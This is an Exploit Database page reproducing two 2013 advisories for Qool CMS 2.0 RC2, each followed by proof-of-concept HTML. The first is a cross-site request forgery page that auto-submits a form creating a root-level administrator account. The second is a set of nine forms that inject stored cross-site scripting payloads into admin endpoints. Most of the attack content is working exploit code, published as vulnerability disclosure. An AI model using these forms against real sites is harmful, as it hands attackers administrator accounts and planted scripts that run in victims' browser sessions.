

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Qool CMS 2.0 RC2 - Multiple Vulnerabilities

EDB-ID:

24627

CVE:

EDB Verified: ✓

Author:

[LIQUIDWORM](#)

Type:

[WEBAPPS](#)

Exploit:   / 

Platform:

[PHP](#)

Date:

2013-03-07

Vulnerable App: 





```
<!--
```

Qool CMS v2.0 RC2 XSRF Add Root Exploit

Vendor: Qool CMS

Product web page: <http://www.qool.gr>

Affected version: 2.0 RC2 (Codename: Sommige)

Summary: Qool CMS is a content management system that helps web masters be more productive. Qool has been built with both worlds (web master, web developer) in mind. It is easy to create addons (extensions) for the system but you can really do without them too.

Desc: Qool CMS allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

- Level 1 - Root
- Level 2 - Admin
- Level 500 - Editor
- Level 6000 - Member
- Level 8000 - Visitor

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)

Apache 2.4.2 (Win32)

PHP 5.4.4

MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience

Advisory ID: ZSL-2013-5134

Advisory URL: <http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5134.php>

05.03.2013

```
-->
```

```
<html>
<head>
<title>Qool CMS v2.0 RC2 XSRF Add Root Exploit</title>
</head>
<body><center><br />
<form method="post" action="http://localhost/Qoolrc2/admin/adduser"
onsubmit="forge()">
<input type="hidden" name="email" value="lab@zeroscience.mk" />
<input type="hidden" name="level" value="1" />
<input type="hidden" name="password" value="pass251" />
<input type="hidden" name="save" value="Save" />
<input type="hidden" name="username" value="qoolio" />
<input type="submit" id="exploit" value="Forge!" />
</form></center>
<script type="text/javascript">
function forge(){document.getElementById("exploit").click();}
</script>
</body>
</html>
```

```
<!--
```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Qool CMS v2.0 RC2 Multiple HTML And JavaScript Injection Vulnerabilities

Vendor: Qool CMS

Product web page: <http://www.qool.gr>

Affected version: 2.0 RC2 (Codename: Sommige)

Summary: Qool CMS is a content management system that helps web masters be more productive. Qool has been built with both worlds (web master, web developer) in mind. It is easy to create addons (extensions) for the system but you can really do without them too.

Desc: Qool CMS suffers from multiple persistent cross-site scripting vulnerabilities. The issues are triggered when input passed via several POST parameters to several scripts is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
 Apache 2.4.2 (Win32)
 PHP 5.4.4
 MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
 @zeroscience

Advisory ID: ZSL-2013-5133

Advisory URL: <http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5133.php>

05.03.2013

-->

```
<html>
<head>
<title>Qool CMS v2.0 RC2 Multiple HTML And JavaScript Injection
Vulnerabilities</title>
</head>
<body><center><br />
<form method="post" action="http://localhost/Qoolrc2/admin/addnewtype">
<input type="hidden" name="headers" value="text/html" />
<input type="hidden" name="lib" value="default" />
<input type="hidden" name="mime" value="text/html" />
<input type="hidden" name="save" value="Save" />
<input type="hidden" name="title" value="'><script>alert(1);</script>' />
<input type="submit" value="Inject #1" />
</form>
<br />
<form method="post"
action="http://localhost/Qoolrc2/admin/addnewdatafield">
<input type="hidden" name="group_id" value="1" />
<input type="hidden" name="is_taxonomy" value="0" />
<input type="hidden" name="name" value="'><script>alert(2);</script>' />
<input type="hidden" name="order" value="1" />
<input type="hidden" name="pool_type" value="0" />
<input type="hidden" name="save" value="Save" />
<input type="hidden" name="use_pool" value="0" />
<input type="hidden" name="value" value="textinput" />
<input type="submit" value="Inject #2" />
</form>
<br />
<form method="post" action="http://localhost/Qoolrc2/admin/addmenu">
```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```

<form method="post" action="http://localhost/Qoolrc2/admin/addusergroup">
<input type="hidden" name="save" value="Save" />
<input type="hidden" name="taxonomy" value="0" />
<input type="hidden" name="title" value="'><script>alert(3);</script>' />
<input type="submit" value="Inject #3" />
</form>
<br />
<form method="post" action="http://localhost/Qoolrc2/admin/addusergroup">
<input type="hidden" name="level" value="1" />
<input type="hidden" name="save" value="Save" />
<input type="hidden" name="title" value="'><script>alert(4);</script>' />
<input type="submit" value="Inject #4" />
</form>
<br />
<form method="post"
action="http://localhost/Qoolrc2/admin/addnewuserfield">
<input type="hidden" name="default_value" value="1" />
<input type="hidden" name="field_type" value="textinput" />
<input type="hidden" name="name" value="'><script>alert(5);</script>' />
<input type="hidden" name="save" value="Save" />
<input type="submit" value="Inject #5" />
</form>
<br />
<form method="post" action="http://localhost/Qoolrc2/admin/adduser">
<input type="hidden" name="email" value="'><script>alert(6);</script>' />
<input type="hidden" name="level" value="500" />
<input type="hidden" name="password" value="test" />
<input type="hidden" name="save" value="Save" />
<input type="hidden" name="username" value="'><script>alert(7);</script>'
/>
<input type="submit" value="Inject #6" />
</form>
<br />
<form method="post" action="http://localhost/Qoolrc2/admin/addgeneraldata">
<input type="hidden" name="data_type" value="shortcuts" />
<input type="hidden" name="icon" value="0" />
<input type="hidden" name="link" value="'><script>alert(8);</script>' />
<input type="hidden" name="save" value="Save" />
<input type="hidden" name="target" value="0" />
<input type="hidden" name="target" value="1" />
<input type="hidden" name="title" value="'><script>alert(9);</script>' />
<input type="submit" value="Inject #7" />
</form>
<br />
<form method="post" action="http://localhost/Qoolrc2/admin/addgeneraldata">
<input type="hidden" name="data_type" value="tasks" />
<input type="hidden" name="save" value="Save" />
<input type="hidden" name="task" value="'><script>alert(10);</script>' />
<input type="hidden" name="title" value="'><script>alert(11);</script>' />
<input type="submit" value="Inject #8" />
</form>
<br />
<form method="post" action="http://localhost/Qoolrc2/admin/addcontentitem">
<input type="hidden" name="content" value="<p>ZSL</p>" />
<input type="hidden" name="contenttype" value="1" />
<input type="hidden" name="save" value="Save" />
<input type="hidden" name="title" value="'><script>alert(12);</script>' />
<input type="submit" value="Inject #9" />
</form>
</center>
</body>
</html>

```

Tags:

Advisory/Source: [Link](#)

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

- Databases ▾
- Links ▾
- Sites ▾
- Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)



[OffSec Services Limited](#) 2026. All rights reserved.